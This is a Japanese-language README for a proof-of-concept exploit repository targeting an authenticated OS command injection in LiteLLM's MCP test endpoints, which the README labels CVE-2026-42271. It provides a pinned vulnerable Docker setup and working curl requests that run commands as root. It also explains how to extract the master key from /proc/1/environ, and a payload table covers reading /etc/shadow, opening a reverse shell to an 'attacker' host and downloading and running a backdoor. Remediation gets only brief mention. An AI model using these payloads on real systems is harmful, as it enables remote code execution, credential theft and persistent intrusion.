
対応する脆弱性を個人的に再現するためのコード
LiteLLM の
POST /mcp-rest/test/connectionおよびPOST /mcp-rest/test/tools/list— MCP stdioトランスポートを介した認証済みコマンドインジェクション。有効なAPIキーがあれば、任意のOSコマンドをrootとして実行できます(デフォルトのDockerデプロイメントの場合)。イメージはdigestで固定済み: vulnerableコンテナはLiteLLM v1.82.6 に固定されており、長期的な再現性が保証されます。
| 項目 | 値 |
|---|---|
| CVE | CVE-2026-42271 |
| CVSS v4.0 | 8.7 (HIGH) — CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:N/SA:N |
| CVSS v3.1 | 8.8 (HIGH) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-77 / CWE-78 (OSコマンドインジェクション) |
| 影響を受けるバージョン | LiteLLM >= 1.74.2, < 1.83.7 |
| 修正バージョン | v1.83.7+ (コマンドホワイトリスト + PROXY_ADMIN ロールチェックが追加) |
| 公開日 | 2026-05-08 |
| 固定バージョン | v1.82.6 — イメージはdigestで固定され、長期的な再現が保証されます |
| リンク | GHSA-v4p8-mg3p-g94g • NVD • GitLab Advisory |
保存前にMCPサーバーをプレビューするために使用される2つのエンドポイント — POST /mcp-rest/test/connection と POST /mcp-rest/test/tools/list — は、リクエストボディに完全なMCPサーバー設定を受け入れます。これには stdioトランスポート で使用される command、args、env フィールドが含まれます。
stdio設定で呼び出されると、これらのエンドポイントは指定されたコマンドをプロキシホスト上でサブプロセスとして起動し、プロキシプロセスの権限(デフォルトのDockerではroot)で実行します。
主要な問題: これらのエンドポイントは有効なプロキシAPIキーのみをチェックし、ロールチェックがありません — 低権限の internal_user キーでもこれを悪用できます。
# 1. Start a vulnerable LiteLLM instance (pinned to v1.82.6)
docker compose up -d
# 2. Run the exploit
python3 exploit/exploit.py --target http://localhost:4000 --key "sk-litellm-master-key" --cmd "id"
# Or use curl directly (blind RCE — response may show error but command executes)
curl -s -X POST \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
http://localhost:4000/mcp-rest/test/tools/list \
-d '{
"transport": "stdio",
"command": "bash",
"args": ["-c", "id > /tmp/pwned"]
}'
# Check that the command executed inside the container
docker exec litellm-cve cat /tmp/pwned
# Output: uid=0(root) gid=0(root) groups=0(root),0(root),...
APIは "Failed to connect to MCP server" を返します。これは起動されたプロセスがMCPプロトコルを話さないためですが、コマンドはすでにroot権限で実行されています。
POST /mcp-rest/test/connectionMCPサーバーへの接続をテストします。stdioトランスポートでは、指定されたコマンドを起動します。
POST /mcp-rest/test/tools/listテスト用MCPサーバーからツールを一覧表示します。同じ動作 — stdioトランスポートを使用すると、指定されたコマンドを起動します。
{
"transport": "stdio",
"command": "bash",
"args": ["-c", "<malicious command>"],
"env": {
"PATH": "/usr/bin:/bin"
}
}
修正では2層の防御が追加されました:
validate_transport_fields() により、許可されるのは npx、uvx、python、python3、node、docker、deno のみPROXY_ADMIN ロールを要求しますCVE-2026-42271/
├── README.md # This file
├── docker-compose.yml # One-command vulnerable environment (pinned to v1.82.6)
├── requirements.txt # Dependencies
├── exploit/
│ ├── exploit.py # Full exploit script
│ └── payload.py # Payload generation module
├── docs/
│ └── advisory.md # Advisory reference
└── screenshots/ # Proof screenshots
PROXY_ADMIN ロールチェック)/mcp-rest/test/connection と /mcp-rest/test/tools/list をブロックするdocker run --user 1000:1000 ...5.7節(プロセス環境変数の抽出) を再現する際の注意:MCP Python SDK v1.25.0+ はstdioサブプロセスを作成する際、LiteLLM親プロセスの環境変数を継承しません。SDKは get_default_environment() を介して HOME と PATH のみを渡し、ユーザーが明示的に指定したenvフィールドをマージします。
したがって env > /tmp/env_dump では LITELLM_MASTER_KEY を取得できません。
正しい方法:LiteLLMメインプロセスの /proc/1/environ を読み取って環境変数を抽出します:
# 提取环境变量(通过 /proc/1/environ)
curl -s -X POST \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
http://localhost:4000/mcp-rest/test/tools/list \
-d '{
"transport": "stdio",
"command": "bash",
"args": ["-c", "cat /proc/1/environ | tr \"\\0\" \"\\n\" > /tmp/env_dump"]
}'
# 查看结果
docker exec litellm-cve cat /tmp/env_dump | grep -E "LITELLM|MASTER"
# 输出: LITELLM_MASTER_KEY=sk-litellm-master-key
詳細は 再現レポート の5.7節を参照してください。
免責事項: 本コンテンツは教育目的および許可されたセキュリティテストのみのために提供されています。
| シナリオ | ペイロード |
|---|
| 基本RCE | "args": ["-c", "id > /tmp/pwned"] |
| ファイル読み取り | "args": ["-c", "cat /etc/shadow > /tmp/out"] |
| 環境変数の奪取 | `"args": ["-c", "cat /proc/1/environ |
| リバースシェル | "args": ["-c", "bash -i >& /dev/tcp/attacker/4444 0>&1"] |
| 持続化 | "args": ["-c", "curl http://attacker/malware -o /tmp/backdoor && chmod +x /tmp/backdoor"] |
| フィールド | 型 | 必須 | 説明 |
|---|
transport | string | はい | コマンドインジェクションには "stdio" である必要があります |
command | string | はい | 起動する実行ファイル(例:bash、python、curl) |
args | array | はい | コマンドに渡される引数 |
env | object | いいえ | サブプロセスの環境変数 |